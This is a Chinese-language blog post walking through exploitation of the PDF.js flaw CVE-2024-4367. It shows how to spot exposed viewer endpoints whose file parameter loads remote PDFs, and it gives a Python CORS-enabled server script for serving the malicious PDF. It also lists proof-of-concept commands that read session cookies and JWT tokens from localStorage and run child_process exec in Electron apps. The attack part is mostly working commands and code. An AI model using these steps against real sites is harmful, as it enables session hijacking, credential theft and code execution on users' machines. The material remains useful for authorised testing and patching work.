PDF.JS任意JS代码执行漏洞踩坑实践

PDF.js作为Mozilla开发的开源PDF阅读器库,被广泛应用于Firefox浏览器和Web应用中。之前爆出的CVE-2024-4367漏洞允许攻击者通过构造恶意PDF文件执行任意JavaScript代码,影响范围包括Firefox浏览器及依赖PDF.js的Web/Electron应用。

漏洞探测

http://xxx.com/xxx/xxxx/html/web/viewer.html?file= 形如这类格式的,功能点为预览PDF内容可以确定为PDF.JS组件

img

发现这里File参数支持http协议获取PDF内容

img

那么可以尝试远程加载恶意pdf的方式来利用该漏洞(如果这里不存在远程加载,仍然可以通过寻找上传口上传pdf文件来实现漏洞利用,这里不再赘述)

漏洞利用

利用poc:https://github.com/LOURC0D3/CVE-2024-4367-PoC/blob/main/CVE-2024-4367.py

利用服务器起一个服务:

img

然后利用组件访问恶意服务器http://xxx.com/web/viewer.html?file=http://xxx.com/poc.pdf

img

会发现显示载入pdf时发生错误。这时候并不是不能加载,而是python起服务默认不会开启cors可跨域,导致浏览器直接阻止了pdf.js获取pdf文件。

那么这里则需要构造python脚本开启cors可任意跨域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# cors_server.py (fixed version)
import http.server
import socketserver
from functools import partial

class CORSRequestHandler(http.server.SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET, HEAD, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
super().end_headers()

def do_OPTIONS(self):
self.send_response(200)
self.end_headers()

class ReuseTCPServer(socketserver.TCPServer):
allow_reuse_address = True

PORT = 8080
DIRECTORY = "."

with ReuseTCPServer(("", PORT), partial(CORSRequestHandler, directory=DIRECTORY)) as httpd:
print(f"Serving at http://0.0.0.0:{PORT} with CORS enabled")
httpd.serve_forever()

此时在起python服务

img

访问就可以正常执行了

img

(如果谷歌浏览器限制不允许pdf中js执行,也可以更换浏览器尝试,比如火狐进行尝试)

获取cookie

1
Python CVE-2024-4367.py alert(document.cookie)

获取Token

如果不是cookie,而是认证类型如jwt等则用,生成,jwt认证凭证存储在 localStorage 中

1
python CVE-2024-4367.py alert(localStorage.getItem('token')) 

代码执行

1
python3  CVE-2024-4367.py  "require('child_process').exec('calc');"

参考文章


PDF.JS任意JS代码执行漏洞踩坑实践
https://oxshadow.github.io/2026/01/28/PDF.JS任意JS代码执行漏洞踩坑实践/
作者
ss
发布于
2026年1月28日
更新于
2026年3月10日
许可协议